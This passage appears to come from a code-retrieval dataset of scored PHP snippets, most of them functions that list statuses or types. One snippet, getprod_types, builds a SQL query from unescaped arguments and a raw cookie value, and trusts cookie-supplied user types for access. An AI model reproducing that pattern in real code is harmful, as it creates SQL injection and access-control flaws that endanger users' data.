self::STATUS_FROM_OWNER),\n ),\n 'uploaded' => array(\n 'condition' => 'uploaded = :uploaded',\n 'params' => array(':uploaded' => self::STATUS_UPLOADED),\n ),\n 'notUploaded' => array(\n 'condition' => 'uploaded != :uploaded',\n 'params' => array(':uploaded' => self::STATUS_UPLOADED),\n ),\n 'deleted' => array(\n 'condition' => 'deleted = :deleted',\n 'params' => array(':deleted' => self::STATUS_DELETED),\n ),\n 'notDeleted' => array(\n 'condition' => 'deleted != :deleted',\n 'params' => array(':deleted' => self::STATUS_DELETED),\n ),\n 'saved' => array(\n 'condition' => 'saved = :saved',\n 'params' => array(':saved' => self::STATUS_SAVED),\n ),\n 'notSaved' => array(\n 'condition' => 'saved != :saved',\n 'params' => array(':saved' => self::STATUS_SAVED),\n ),\n );\n }", "title": "" }, { "docid": "2a1295c4f483f661f10182f843e3d12b", "score": "0.54054195", "text": "public function statusList()\n {\n return [\n 0 => Yii::t('modules/post', 'Inactive'),\n 1 => Yii::t('modules/post', 'Active'),\n ];\n }", "title": "" }, { "docid": "47f232810bdb6e40433b966a295de82c", "score": "0.54031944", "text": "function _statusOptions($type=null) {\n\t\tif($type=='p'){\n\t\t\t$status_options = array('2'=>'Pending','1'=>'Active','0'=>'Inactive');\n\t\t} else {\n\t\t\t$status_options = array('1'=>'Active','0'=>'Inactive');\n\t\t}\n\t\treturn $status_options;\n\t}", "title": "" }, { "docid": "b028b0552e7c0ca2b596a7dad258d7ec", "score": "0.54000765", "text": "public function reviewStatus(Request $request) {\n $id = $request->get('id');\n $status = $request->get('status');\n\n $reviews = Review::find($id);\n\n if (!$reviews) {\n return response()->json(array('error' => 'Something went wrong.Please try again later!'), 401);\n } else {\n $reviews->fill(array('status' => $status))->save();\n return response()->json(['success' => true, 'messages' => \"Review updated successfully!\"]);\n }\n }", "title": "" }, { "docid": "d001adf0fe2277572b5615886822b8f5", "score": "0.53949344", "text": "public static function getStatusChoices()\n {\n return [\n self::STATUS_JOIN => 'Participer',\n self::STATUS_MAYBE => 'Peut-être...',\n self::STATUS_DECLINE => 'Décliner',\n ];\n }", "title": "" }, { "docid": "e87276affbc1bc514be3d90bfaff1055", "score": "0.538414", "text": "public static function getTypes()\n {\n// return array(\n// self::TYPE_DRAW => '交易消息',\n// self::TYPE_DEAL => '提款记录',\n// self::TYPE_NOTI => '通知消息',\n// self::TYPE_ANNO => '网站公告',\n// self::TYPE_ORDER => '订单消息',\n// );\n $data = D('NotificationType')->where('status = 1 and is_del = 0')->getField('id,name,img_url');\n return $data;\n }", "title": "" }, { "docid": "d8f0542e451d5d9a6d77774d7f27f779", "score": "0.53759533", "text": "public static function booking_statuses() {\n return apply_filters( 'inventor_bookings_statuses', array(\n 'awaiting_approval' => __( 'Awaiting approval', 'inventor-bookings' ),\n 'pending_payment' => __( 'Pending payment', 'inventor-bookings' ),\n 'approved'\t\t => __( 'Approved', 'inventor-bookings' ),\n 'cancelled'\t\t => __( 'Cancelled', 'inventor-bookings' ),\n 'no_show'\t\t => __( 'No-show', 'inventor-bookings' ),\n 'completed'\t\t => __( 'Completed', 'inventor-bookings' )\n ) );\n }", "title": "" }, { "docid": "8658793cc55d0d6864b84a951ad00794", "score": "0.53615296", "text": "public static function getValidStatusses() : array\n {\n $reflector = new ReflectionClass(self::class);\n $statusses = [];\n foreach ($reflector->getConstants() as $key=>$value) { \n if (substr($key,0,7) !== 'STATUS_') {\n continue;\n }\n $statusses[]=$value;\n }\n \n return $statusses;\n }", "title": "" }, { "docid": "87376cf74fcef115797b1fcb35fe4075", "score": "0.53548044", "text": "function Get_Readonly_Statuses()\n{\n\t// We'll want custom read-only statuses only if READONLY_STATUSES is set\n\t// in the config file.\n\t$asf = ECash::getFactory()->getReferenceList('ApplicationStatusFlat');\n\n\tif (!isset(eCash_Config::getInstance()->READONLY_STATUSES))\n\t{\n\t\t//Set the application as readonly for particular statuses\n\t\t$readonly_statuses[] = $asf->toId('pending::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('confirmed::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('confirm_declined::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('declined::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('disagree::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('preact_confirmed::prospect::*root');\n\t\t$readonly_statuses[] = $asf->toId('preact_pending::prospect::*root');\n\t}\n\telse\n\t{\n\t\tif (!is_array(eCash_Config::getInstance()->READONLY_STATUSES) ||\n\t\t\t\tcount(eCash_Config::getInstance()->READONLY_STATUSES) == 0)\n\t\t{\n\t\t\tthrow new Exception('Read only statuses is set, but is not an array, or it is empty');\n\t\t}\n\n\t\tforeach (eCash_Config::getInstance()->READONLY_STATUSES as $readonly_status)\n\t\t{\n\t\t\t$readonly_statuses[] = $asf->toId($readonly_status);\n\t\t}\n\t}\n\n\treturn $readonly_statuses;\n}", "title": "" }, { "docid": "5a35be6d1daa055c88aa0e3969ee03c3", "score": "0.5351641", "text": "public function statusChoices()\n {\n return $this->getLookupItems('LanguageStatus');\t\n }", "title": "" }, { "docid": "9766b239579e3265a53c847d12743f23", "score": "0.5345313", "text": "public function listResourceTypes()\n {\n return [\n 'Member' => 'App\\Models\\User|' . User::MEMBER_ID,\n 'Company' => 'App\\Models\\Company',\n 'Subscription' => 'App\\Models\\CompanySubscription',\n 'Payment Method' => 'App\\Models\\CompanyPaymentMethod',\n 'Payment History' => 'App\\Models\\CompanyPayment',\n 'Administrator' => 'App\\Models\\User|' . User::ADMINISTRATOR_ID,\n 'Administrator Role' => 'App\\Models\\Role|' . User::$types[User::ADMINISTRATOR_ID]['route'],\n 'Admin Setting' => 'App\\Models\\AdminSetting',\n ];\n }", "title": "" }, { "docid": "6ca707d87aeb1610e5efa5c11f34ac2d", "score": "0.5343707", "text": "public static function getStatuses()\n {\n return [\n // session created\n static::STATUS_CREATED,\n // session expired, no further actions available\n static::STATUS_EXPIRED,\n // session is processing, payer is entering his payment data\n static::STATUS_PROCESS,\n // session amount is holded on payer account\n static::STATUS_HOLDED,\n // hold is confirmed by seller for secure payment\n static::STATUS_CONFIRMED,\n // hold completition is in process\n static::STATUS_COMPLETE,\n // session is fully paid\n static::STATUS_PAID,\n // session payment failed\n static::STATUS_FAILED,\n // session amount voiding is in process\n static::STATUS_VOIDING,\n // sesion payment voided\n static::STATUS_VOIDED,\n ];\n }", "title": "" }, { "docid": "0fd77bbd5fe84c861a88b0ae12affb69", "score": "0.5337243", "text": "public static function getStatusItems()\n {\n return [];\n }", "title": "" }, { "docid": "59f6c21a18b8b6ccfc0b3687a16e11b7", "score": "0.5329823", "text": "public function alltypes()\n {\n $types = Type::all();\n if (count($types) > 0) {\n $data = [];\n foreach ($types as $type) {\n $data[] = [\n 'id' => $type->id,\n 'name' => $type->name_ar, \n ];\n }\n return response()->json(['key' => 'success', 'value' => 1, 'data' => $data]);\n } else {\n return response()->json(['key' => 'success', 'value' => 1, 'data' => \"\"]);\n }\n }", "title": "" }, { "docid": "b5e58a7e26d115ad208dd08aad0bbca3", "score": "0.5318321", "text": "public function getAttributes()\n {\n $result = [];\n\n switch ($this->getSampleStatus()->getId()) {\n case Status::STATUS_TYPE_PENDING_EVASION: //1\n $result['icon'] = 'fa-clock-o';\n $result['class'] = 'default';\n break;\n case Status::STATUS_TYPE_PRODUCT_REQUIRED: //5\n $result['icon'] = 'fa-mail-forward';\n $result['class'] = 'warning';\n break;\n case Status::STATUS_TYPE_PRODUCT_ARRIVED: //10\n $result['icon'] = 'fa-mail-reply';\n $result['class'] = 'info';\n break;\n case Status::STATUS_TYPE_PROCESSED: //15\n $result['icon'] = 'fa-check';\n $result['class'] = 'success';\n break; \n case Status::STATUS_TYPE_SHIPPED: //20\n $result['icon'] = 'fa-plane';\n $result['class'] = 'success';\n break; \n case Status::STATUS_TYPE_RETURN_TO_WAREHOUSE: //25\n $result['icon'] = 'fa-reply';\n $result['class'] = 'danger';\n break; \n case Status::STATUS_TYPE_CANCELED: //25\n $result['icon'] = 'fa-trash';\n $result['class'] = 'danger';\n break; \n default:\n break;\n } \n\n return $result;\n }", "title": "" }, { "docid": "10988af59381741bb9cb051da2bbc8b5", "score": "0.53183013", "text": "public function get_availability_types()\n {\n $availability_types = DB::table('availability_type')\n ->select('type_id AS id', 'title AS title')\n ->get();\n return response()->json($availability_types, 200);\n }", "title": "" }, { "docid": "3ffea18fbe308038b64d4578b3016258", "score": "0.5314857", "text": "public function getStatus(){\n \n return OrderStatusEnum::values();\n }", "title": "" }, { "docid": "0c606f45c1d1d69dcb859a110ce824e9", "score": "0.53141767", "text": "protected function statuses()\r\n {\r\n\r\n $statuses = User::select([DB::raw('count(id) as counter'), 'status'])->clients()->groupBy('status')->get()->pluck('counter', 'status')->toArray();\r\n return ['all' => trans('antares/users::messages.statuses.all'),\r\n 0 => trans('antares/users::messages.statuses.archived', ['count' => array_get($statuses, 0, 0)]),\r\n 1 => trans('antares/users::messages.statuses.active', ['count' => array_get($statuses, 1, 0)])\r\n ];\r\n }", "title": "" }, { "docid": "91276d601aaf7dc56cf98ba4b4a26c0e", "score": "0.53076774", "text": "public function getStatus() {\n\t\t$statuses = array(\n\t\t\t'Typo3Update' => $this->getTypo3VersionStatus(),\n\t\t);\n\n\t\treturn $statuses;\n\t}", "title": "" }, { "docid": "be05054aea3a4ba08e9512fdbd4ffd8e", "score": "0.5303421", "text": "public function getAllowedStatuses()\n {\n $statuses = [\n 'complete'\n ];\n\n return $statuses;\n }", "title": "" }, { "docid": "aace1f105c49f87505c35c5baa0f38ed", "score": "0.529467", "text": "public function fetch_all_user_type()\r\n {\r\n $ret = array();\r\n $tmp = $this->db->select('id,s_user_type')->get_where($this->tbl_ut, array('i_status' => 1))->result_array();\r\n for($i = 0; $i < count($tmp); $i++)\r\n $ret[$tmp[$i]['id']] = $tmp[$i]['s_user_type'];\r\n unset($tmp);\r\n return $ret;\r\n }", "title": "" }, { "docid": "3c5eac9db7ab07b85600419c312cc2c0", "score": "0.5290612", "text": "public function loanStatuses()\n {\n return $loan_statuses = LoanStatus::get();\n }", "title": "" }, { "docid": "cfcfa51bd8f45d414050b3d7fc63b83f", "score": "0.528581", "text": "public static function getJournalTypesList()\n {\n return JournalType::orderBy('type','asc')\n ->lists('type','id');\n }", "title": "" }, { "docid": "56c619ebedb43c513874e04257477a7e", "score": "0.52843237", "text": "public static function getTypes()\n {\n return [\n self::CUSTOM,\n self::WEEKLY,\n ];\n }", "title": "" }, { "docid": "850811f0774f01f2352de6c5b7e0de21", "score": "0.5283715", "text": "public function getprod_types($prod_url_id='',$status='',$customer_id='') \n {\n $sql_select_products =\" SELECT * FROM PRODUCT_TYPE \tWHERE 1=1\";\n\t\tif(isset($prod_url_id) AND ($prod_url_id!=='')){ \n if(!isset($alltypes)){\n $sql_select_products .=\" AND PROD_TYPE_ID = '$prod_url_id'\";\n }\n }\n if(isset($status) AND ($status!=='')){\n $sql_select_products .=\" AND PROD_TYPE_STATUS = '1'\";\n if(isset($customer_id) AND ($customer_id!==\"\")){\n $active_prod_types = $this->getCustNames($customer_id);\n if($active_prod_types->ALLOW_PROD_TYPES == \"\"){\n $sql_select_products .=\" AND PROD_TYPE_ID = 0\";\n } else {\n $sql_select_products .=\" AND PROD_TYPE_ID in ($active_prod_types->ALLOW_PROD_TYPES)\";\n }\n } else {\n if(isset($_COOKIE[\"user_type\"]) AND ($_COOKIE[\"user_type\"] !== \"956314127503977533\") AND ($_COOKIE[\"user_type\"] !== \"525874964125375325\")) {\n $sql_select_products .=\" AND PROD_TYPE_ID in ('\".$_COOKIE[\"user_prod_types\"].\"')\";\n }\n }\n }\n $query = $this->db->query($sql_select_products);\n $getProductstypes = $query->result();\n return $getProductstypes;\t\n }", "title": "" }, { "docid": "7508e0e5b8959968dec70a8f06feda8e", "score": "0.5272531", "text": "public function getReviewStatus($product)\n {\n $productReviewModel = new ProductReviewModel();\n $productReviewRecord = ProductReviewRecord::model()->findByAttributes(array('id' => $product));\n if ($productReviewRecord)\n {\n $productReviewModel = ProductReviewModel::populateModel($productReviewRecord);\n }\n return $productReviewModel->getAttribute('status');\n }", "title": "" }, { "docid": "6fcdb98f197cd430da6eb26330cc1f04", "score": "0.52717507", "text": "public static function getAvailableTypes()\n {\n $types = self::find()->order('title')->asArray()->all();\n $items = ArrayHelper::map($types, 'id', 'title');\n\n return $items;\n }", "title": "" }, { "docid": "c169b751a0b615d0b604299fab1c269e", "score": "0.52706146", "text": "function assign_team_status_types($team_id) {\n \n global $smarty;\n global $db;\n\n //get all team status types\n $sql = \"get_team_status_types()\";\n\n $db->run($sql);\n $smarty->assign('team_status_types', $db->get_result_array());\n \n return true; \n }", "title": "" }, { "docid": "f1e580cc99575ef18c04660095892983", "score": "0.5270263", "text": "public function getAvailableStatuses()\n {\n return [\n BorntechiesHelper::STATUS_SCHEDULED => __('Scheduled'),\n BorntechiesHelper::STATUS_RUNNING => __('Running'),\n BorntechiesHelper::STATUS_SUCCESS => __('Success'),\n BorntechiesHelper::STATUS_ERROR => __('Error')\n ];\n }", "title": "" }, { "docid": "151e74706439752f7e38809856a20f29", "score": "0.5264422", "text": "public static function getStatuses()\n {\n if (empty(self::$statuses)) {\n self::$statuses = require __DIR__.'/data/statuses.php';\n }\n\n return self::$statuses;\n }", "title": "" }, { "docid": "c7029094e75d8d3fa964b56f459beb89", "score": "0.52626693", "text": "public function exp_types()\n {\n //\n $exp_types = ExpType::all();\n return response()->json($exp_types);\n }", "title": "" }, { "docid": "3ca0bb7d18d2a6a60512ffa27a8b5c38", "score": "0.5256083", "text": "public function getStatusDataProvider()\n {\n return [\n ['publish', PostStatus::STATUS_ENABLED],\n ['future', PostStatus::STATUS_SCHEDULED],\n ['draft', PostStatus::STATUS_DISABLED],\n ['test', PostStatus::STATUS_DISABLED],\n ];\n }", "title": "" }, { "docid": "a2862a538d627302f9ea0c84376b694b", "score": "0.5253283", "text": "public function changeReviewStatusAction(){\n\t\t$this->reviews->changeReviewStatus($this->_getParam('id'));\n\t\t$review = $this->reviews->getItemById($this->_getParam('id'));\n\t\techo (int)$review['active']; \t\n }", "title": "" }, { "docid": "6d67bd31dbda984223d8c95fa8174e57", "score": "0.525101", "text": "public static function getOrderStatusList()\n {\n $list = [];\n foreach (self::$statuses as $status) {\n $list[$status] = l($status, [], 'woocommerce');\n }\n\n return $list;\n }", "title": "" }, { "docid": "78f762f5540b95e82298ae60650c359c", "score": "0.5246454", "text": "function adleex_bill_filter_status($statuses){\n\t$new_statuses = array(\n 'draft' => $statuses['draft'],\n 'pending' => $statuses['pending'],\n 'publish' => $statuses['publish'],\n 'closed' => $statuses['closed'],\n );\n\t\n\treturn $new_statuses;\n}", "title": "" }, { "docid": "e0722aa3ce9f752f3597e0f2c702e378", "score": "0.5243389", "text": "protected function statusListCount()\n {\n if (User::find(Auth::id())->hasRole('admin') || User::find(Auth::id())->hasRole('editor')) {\n return [\n 'all' => Post::count(),\n 'own' => Post::own()->count(),\n 'published' => Post::published()->count(),\n 'scheduled' => Post::scheduled()->count(),\n 'draft' => Post::draft()->count(),\n 'trash' => Post::onlyTrashed()->count(),\n ];\n } else {\n return [\n 'all' => Post::where('author_id', Auth::id())->count(),\n 'published' => Post::where('author_id', Auth::id())->published()->count(),\n 'scheduled' => Post::where('author_id', Auth::id())->scheduled()->count(),\n 'draft' => Post::where('author_id', Auth::id())->draft()->count(),\n 'trash' => Post::where('author_id', Auth::id())->onlyTrashed()->count(),\n ];\n }\n\n }", "title": "" }, { "docid": "907435500418d26fb4413307f9e02732", "score": "0.5234473", "text": "public function listActivitesTypes() {\n\t\t\t//Query\n\t\t\t$query = $this->pdo->prepare(\"SELECT id FROM in_agendaactivites ORDER BY id ASC\");\n\t\t\t$query->execute();\n\t\t\t//Création array\n\t\t\t$types = array();\n\t\t\t//Boucle\n\t\t\twhile ($data = $query->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t\t//getDetails\n\t\t\t\t$types[] = $this->getTypeDetails($data['id']);\n\t\t\t}\n\t\t\t//Smarty\n\t\t\t$this->smarty->assign('eventTypes', $types);\n\t\t}", "title": "" }, { "docid": "aa04209e0c4969bb0406f18df93b2cfe", "score": "0.521219", "text": "public function countClassesByStatus()\n {\n $response = $this->gateway->sendRawRequest('get_data', ['columns' => 'status'])->get_data;\n $records = $response->record_list[0];\n\n $total = [];\n\n foreach ($records as $record)\n {\n $status = trim((string)$record->status);\n $total[$status] = (isset($total[$status]) ? $total[$status]+1 : 1);\n }\n\n return $total;\n }", "title": "" }, { "docid": "c4fcf37d3a9f345fd39648574a0e5161", "score": "0.52091265", "text": "public static function getTypes(){\n\n global $DBConnection;\n $db = $DBConnection->getDB();\n\n $types_raw = iterator_to_array($db->types->find(array('editable' => 1))->sort(array('_id' => 1)));\n $types = array();\n\n // Fetch the means\n foreach($types_raw as $type) {\n \n array_push($types, array('id' => $type['_id'], 'description' => $type['description'], 'slug' => $type['slug']));\n \n }\n\n return $types;\n\n }", "title": "" }, { "docid": "95971d76e483bf65e7652b019ec07a62", "score": "0.52070343", "text": "public static function getTypes()\n\t{\n\t\t\n\t\treturn [\n\t\t\tself::TYPE_PERMANENT\t\t =>\t\"Permanent (Full Time)\",\n\t\t\tself::TYPE_CONTRACT\t\t\t =>\t\"Contract\",\n\t\t\tself::TYPE_INTERNSHIP\t\t =>\t\"Internship\",\n\t\t\tself::TYPE_PART_TIME\t\t =>\t\"Part Time\",\n\t\t];\n\t\t\n\t}", "title": "" }, { "docid": "7f203c8ecbbfe6746766e58e0422035d", "score": "0.5205156", "text": "public function getStatusesAttribute()\n {\n return collect($this->getStatusMap())->mapWithKeys(function (int $value, string $status) {\n return [$status => $this->hasRawStatus($value)];\n });\n }", "title": "" }, { "docid": "ab525c8b05374465f514f69b9f33fad2", "score": "0.5197576", "text": "public function all($type = Null , $criteria = Null)\n\t{\n\t\tswitch($type)\n\t\t{\n\t\t\tcase \"project\":\t\t\t\t\t\n\t\t\t\t\tif($criteria != Null){\n\t\t\t\t\t\t$lists = \\App\\Models\\Project :: where('status' , $criteria)->count();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$lists = \\App\\Models\\Project :: all()->count();\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\tcase \"user\" :\n\t\t\t\t\t$lists = \\App\\User :: all()->count();\n\t\t\t\t\tbreak;\n\t\t\tcase \"category\" :\n\t\t\t\t\t$lists = \\App\\Models\\Category :: all()->count();\n\t\t\t\t\tbreak;\n\t\t\tcase \"genre\" :\n\t\t\t\t\t$lists = \\App\\Models\\Genre :: all()->count();\n\t\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\t\t\n\t\t\tdefault :\n\t\t\t\t\t$lists = 0;\n\t\t}\n\t\t\n\t\treturn $lists;\n\t}", "title": "" }, { "docid": "d4bc45ef935be9bdf5acc35736534cc2", "score": "0.5196804", "text": "function get_resume_post_statuses() {\n\treturn apply_filters( 'resume_post_statuses', array(\n\t\t'draft' => _x( 'Draft', 'post status', 'wp-job-manager-resumes' ),\n\t\t'expired' => _x( 'Expired', 'post status', 'wp-job-manager-resumes' ),\n\t\t'hidden' => _x( 'Hidden', 'post status', 'wp-job-manager-resumes' ),\n\t\t'preview' => _x( 'Preview', 'post status', 'wp-job-manager-resumes' ),\n\t\t'pending' => _x( 'Pending approval', 'post status', 'wp-job-manager-resumes' ),\n\t\t'pending_payment' => _x( 'Pending payment', 'post status', 'wp-job-manager-resumes' ),\n\t\t'publish' => _x( 'Published', 'post status', 'wp-job-manager-resumes' ),\n\t) );\n}", "title": "" }, { "docid": "57da247ebfa50b6aac6d23981b2e8328", "score": "0.519632", "text": "function &getStatusMap() {\n\t\tstatic $statusMap;\n\t\tif (!isset($statusMap)) {\n\t\t\t$statusMap = array(\n\t\t\t\tSTATUS_ARCHIVED => 'submissions.archived',\n\t\t\t\tSTATUS_QUEUED => 'submissions.queued',\n\t\t\t\tSTATUS_PUBLISHED => 'submissions.published',\n\t\t\t\tSTATUS_DECLINED => 'submissions.declined',\n\t\t\t\tSTATUS_QUEUED_UNASSIGNED => 'submissions.queuedUnassigned',\n\t\t\t\tSTATUS_QUEUED_REVIEW => 'submissions.queuedReview',\n\t\t\t\tSTATUS_QUEUED_EDITING => 'submissions.queuedEditing',\n\t\t\t\tSTATUS_INCOMPLETE => 'submissions.incomplete'\n\t\t\t);\n\t\t}\n\t\treturn $statusMap;\n\t}", "title": "" }, { "docid": "d72db4cc0f37b170f5a51378dfe0546b", "score": "0.5194304", "text": "private function resource_type_list() {\n\n\t\tif($this->res_list != false) {\n\t\t\treturn $this->res_list;\n\t\t}\n\n\t\tif(is_array($this->eeck_settings['eeck_resourcetypes'])) {\n\t\t\t$this->res_list = array();\n\n\t\t\tforeach($this->eeck_settings['eeck_resourcetypes'] as $res) {\n\t\t\t\t$this->res_list[$res['name']] = $res['name'];\n\t\t\t}\n\t\t}\n\n\t\treturn $this->res_list;\n\t}", "title": "" }, { "docid": "1feb455e42b0f82abf51c9f8f459939e", "score": "0.5192569", "text": "public static function getSetStatuses()\n {\n return [\n AdSet::STATUS_ACTIVE => 'ACTIVE',\n AdSet::STATUS_PAUSED => 'PAUSED',\n AdSet::STATUS_DELETED => 'DELETED',\n AdSet::STATUS_ARCHIVED => 'ARCHIVED',\n ];\n }", "title": "" }, { "docid": "6151c6cdee43059c0ea1314d74dd4f74", "score": "0.51924473", "text": "public function getStatus()\n {\n if (array_key_exists(\"status\", $this->_propDict)) {\n if (is_a($this->_propDict[\"status\"], \"\\Microsoft\\Graph\\Model\\AccessReviewHistoryStatus\") || is_null($this->_propDict[\"status\"])) {\n return $this->_propDict[\"status\"];\n } else {\n $this->_propDict[\"status\"] = new AccessReviewHistoryStatus($this->_propDict[\"status\"]);\n return $this->_propDict[\"status\"];\n }\n }\n return null;\n }", "title": "" } ]
7e738917eadb2f83726dae7316e6fd3f
Set the value of nci
[ { "docid": "59eb3eb7707f8fc04e1a790a3373d7de", "score": "0.7288772", "text": "public function setNci($nci)\n {\n $this->nci = $nci;\n }", "title": "" } ]
[ { "docid": "39237a27b790be9c94b74789d1dd28fa", "score": "0.69180286", "text": "public function setNValue($nVal) {}", "title": "" }, { "docid": "4a9447f1c723f60fddd9a1a9c6381d26", "score": "0.64622444", "text": "public function setCi($_ci)\n {\n $this->ci = $_ci;\n }", "title": "" }, { "docid": "f847c6fd34217581505729a106887a69", "score": "0.6334896", "text": "public function getNci()\n {\n return $this->nci;\n }", "title": "" }, { "docid": "f8d760a76b5272737bc2bb87301970eb", "score": "0.62137014", "text": "public function setCni($cni)\n {\n $this->cni = $cni;\n\n return $this;\n }", "title": "" }, { "docid": "4f5d8a3552d52a3fc08ed9924ef4efce", "score": "0.56610006", "text": "public function getCni()\n {\n return $this->cni;\n }", "title": "" }, { "docid": "55485f1702ea9a5e9e7911f9866aa11a", "score": "0.55570906", "text": "function setNiveau($niveau) { $niveau = (int) $niveau;\r\n if ($niveau >= 1 && $niveau <= 100) {\r\n $this->_niveau = $niveau;\r\n }\r\n }", "title": "" }, { "docid": "8741355317e9c4ab32b59794b52416ec", "score": "0.546336", "text": "function setNota_num($inota_num = '')\n {\n $this->inota_num = $inota_num;\n }", "title": "" }, { "docid": "1788ff10b6910b8e815216e3f1fb76ad", "score": "0.54358333", "text": "public function getNprciAccion()\n {\n return $this->nprciAccion;\n }", "title": "" }, { "docid": "8150b497265e74848122b06f36afa4d0", "score": "0.54341125", "text": "public function setNid($nid) {\n $this->nid = $nid;\n }", "title": "" }, { "docid": "a41f1e9d368ea89fa0b469628407b64f", "score": "0.54172474", "text": "public function getNprciOculto()\n {\n return $this->nprciOculto;\n }", "title": "" }, { "docid": "8d4eda5467e6b3d935a8b0d62f5e991c", "score": "0.5333347", "text": "public function setNprciAccion($nprciAccion)\n {\n $this->nprciAccion = $nprciAccion;\n\n return $this;\n }", "title": "" }, { "docid": "158a8278b2867c2719eba1decfee84c3", "score": "0.52776587", "text": "protected function setCuitOrDni($afipInvoice,$customer){\n\t\t$ivaAmount = $afipInvoice->getIva_0250() + $afipInvoice->getIva_0500() + $afipInvoice->getIva_1050() + $afipInvoice->getIva_2100() + $afipInvoice->getIva_2700();\n\t\t$netoAmount = $afipInvoice->getNeto_0250() + $afipInvoice->getNeto_0500() + $afipInvoice->getNeto_1050() + $afipInvoice->getNeto_2100() + $afipInvoice->getNeto_2700() + $afipInvoice->getNetoExento();\n\t\t//Factura B\n\t\tif($afipInvoice->getType() == TypeEnum::B){\n\t\t\t//>= $1000\n\t\t\tif(($customer->getIvaCondition() == 1 || $customer->getIvaCondition() == 4) && ($ivaAmount + $netoAmount) >= 1000){\n\t\t\t\tif(strlen($customer->getTaxvat()) == 11){\n\t\t\t\t\t$this->setCUITNumber($customer->getTaxvat());\n\t\t\t\t}else{\n\t\t\t\t\t$this->setDNINumber($customer->getTaxvat());\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t//Responsable monotributo o Exento\n\t\t\t\tif($customer->getIvaCondition() == 3 || $customer->getIvaCondition() == 5){\n\t\t\t\t\tif(strlen($customer->getTaxvat()) == 11){\n\t\t\t\t\t\t$this->setCUITNumber($customer->getTaxvat());\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$this->setDNINumber($customer->getTaxvat());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t//Factura A\t\n\t\t}else{\n\t\t\t$this->setCUITNumber($customer->getTaxvat());\n\t\t}\n\t\t \n\t\t \n\t\t\n\t}", "title": "" }, { "docid": "01e6e346cd58d575245267e3d5a872dc", "score": "0.5253648", "text": "public function __construct($n)\n {\n $this->n = $n;\n }", "title": "" }, { "docid": "81ce4c87d2dab2536025329fa37ac193", "score": "0.52519095", "text": "function setValorNota($nValorNota) {\n \n $this->nValorNota = $nValorNota;\n }", "title": "" }, { "docid": "9a5cd2c3e8bd2e76c3a4a4795b452a2f", "score": "0.52518374", "text": "public function setNerve($value)\n {\n $this->nerve = $value;\n }", "title": "" }, { "docid": "113ae6a8c843e3723ee9f1aafcecd410", "score": "0.51244557", "text": "public function setDocumentProductIpiCst(int $document_product_ipi_cst)\n {\n $this->collection->put('document_product_ipi_cst', (string) $document_product_ipi_cst);\n }", "title": "" }, { "docid": "2268ece67361d09c6c1611cea09e3155", "score": "0.51088953", "text": "public function getNValue() {}", "title": "" }, { "docid": "26adbbd3539047d73700fa7a89cc4bc9", "score": "0.50896704", "text": "public function setNprciuser($nprciuser)\n {\n $this->nprciuser = $nprciuser;\n\n return $this;\n }", "title": "" }, { "docid": "dcc5bd68885217e8565e8c18e88da49d", "score": "0.5086866", "text": "public function getCiomsNarrativeValue($caseId,$set_num){\n \n }", "title": "" }, { "docid": "23a5b125244dcc30c6d084d03b77628d", "score": "0.5065972", "text": "private function _set_nb_qcm() {\n $sql = \"SELECT COUNT(id_qcm) FROM qcm WHERE qcm.id_test = $this->_id_test;\";\n $select = connect_db()->prepare($sql);\n $select->execute();\n $this->_nb_qcm = $select->fetch();\n $select->closeCursor();\n }", "title": "" }, { "docid": "e6d0eb089fb652c13f860e780c00103d", "score": "0.5050831", "text": "function setCantidad($icantidad = '')\n {\n $this->icantidad = $icantidad;\n }", "title": "" }, { "docid": "e6d0eb089fb652c13f860e780c00103d", "score": "0.5050831", "text": "function setCantidad($icantidad = '')\n {\n $this->icantidad = $icantidad;\n }", "title": "" }, { "docid": "4524e247ab2f7e26c1aa0c5876833722", "score": "0.5021273", "text": "function setNota_num($inota_num = '')\n {\n // adminto ',' como separador decimal.\n $inota_num = str_replace(\",\", \".\", $inota_num);\n $this->inota_num = $inota_num;\n }", "title": "" }, { "docid": "8e121a6375bd3e5c7f1cae13bd770c34", "score": "0.50004804", "text": "public function getNprciuser()\n {\n return $this->nprciuser;\n }", "title": "" }, { "docid": "12ff1724317f6a9b56b0ee3df18e59da", "score": "0.49696577", "text": "public function setNprciOculto($nprciOculto)\n {\n $this->nprciOculto = $nprciOculto;\n\n return $this;\n }", "title": "" }, { "docid": "76d3d60c771288e2426ec6f3fac3c1d2", "score": "0.49434376", "text": "public function setNit_empresa($nit_empresa){\n $this->nit_empresa = $nit_empresa;\n }", "title": "" }, { "docid": "73d7a34b9b68311e9d37b737c299074b", "score": "0.4943262", "text": "public function setCr($value)\n {\n $this->setParam('cr', $value);\n }", "title": "" }, { "docid": "adf184e08ebcf1638657c5e5c0cc34db", "score": "0.49414504", "text": "public function setC($x) { $this->c = $x; }", "title": "" }, { "docid": "3ac1cc2acb52f29d7157c78a767c07a8", "score": "0.4928874", "text": "public function setNtry($value,$options=array('required'=>true)){ \n $this->_data['ntry'] = new ZendT_Type_Number($value,array('numDecimal'=>0));\n if ($options['db'])\n $this->_data['ntry']->setValueFromDb($value);\n \n if (!$options['db']){\n \n }\n return $this;\n }", "title": "" }, { "docid": "abe774af9973b0179be40591aeb65c50", "score": "0.49045482", "text": "protected function setCUITNumber($value)\n\t{\n\t\t$this->setTextFont(10);\n\t\tpreg_match(\"/(\\d{2})(\\d{8})(\\d{1})/\", $value, $matches);\n\t\n\t\tif (count($matches) == 4)\n\t\t{\n\t\t\t$cuit = $matches[1] . \"-\" . $matches[2] . \"-\" . $matches[3];\n\t\n\t\t\tif (strlen($cuit) == 13){\n\t\t\t\tfor($i=0;$i<$this->copies;$i++){\n\t\t\t\t\t$this->_getPdf()->pages[$i]->drawText($cuit, 298, 623, 'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8a10402e0f970c54b918bec922e7e70a", "score": "0.49014226", "text": "public function setNumeroCivicoClinica($numCivico) {\r\n $this->_numeroCivico = $numCivico;\r\n }", "title": "" 